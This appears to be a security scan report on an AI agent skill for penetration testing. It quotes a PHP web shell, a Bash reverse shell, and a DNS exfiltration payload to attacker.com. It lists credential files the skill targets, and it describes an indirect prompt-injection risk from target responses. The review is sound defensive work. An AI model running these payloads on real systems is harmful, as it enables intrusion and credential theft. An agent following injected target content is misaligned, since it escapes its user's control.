The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides extensive documentation and specific payloads for achieving remote code execution across various environments.
Contains multiple web shell payloads for PHP, ASPX, and JSP in the file upload documentation (e.g., <?php system($_GET['cmd']); ?>).
Details insecure deserialization gadget chains for Java, PHP, Ruby, and .NET using specialized tools.
Explains how to escalate from file read vulnerabilities to RCE via Apache log poisoning and CGI exploitation.
[COMMAND_EXECUTION]: Instructional content provides examples of executing arbitrary commands to test for vulnerabilities.
Includes reverse shell commands in Bash, Python, and Ruby (e.g., bash -i >& /dev/tcp/10.10.10.10/4444 0>&1).
Provides scripts that use subprocess.run(), os.system(), and Runtime.exec() to execute system-level commands during payload generation.
[DATA_EXFILTRATION]: The skill documents numerous methods for harvesting and exfiltrating sensitive data.
Targeted paths include /etc/passwd, /etc/shadow, SSH private keys (id_rsa), and cloud provider credentials (AWS, Azure, GCP).
Provides payloads to send stolen data to external attacker-controlled servers via HTTP GET parameters and DNS queries (e.g., gethostbyname(base64_encode($data) . '.attacker.com')).
[EXTERNAL_DOWNLOADS]: Instructions direct the agent to download and execute various third-party security tools from GitHub.
Tools include fuxploider, ysoserial, phpggc, Gopherus, and smuggler.
[PROMPT_INJECTION]: The skill describes multi-step attack chains that involve ingesting untrusted data from target servers (Category 8).
The agent is taught to parse responses from external targets and use them to inform subsequent actions, creating an attack surface for indirect prompt injection where a target could provide malicious input to redirect the agent's behavior.

server-side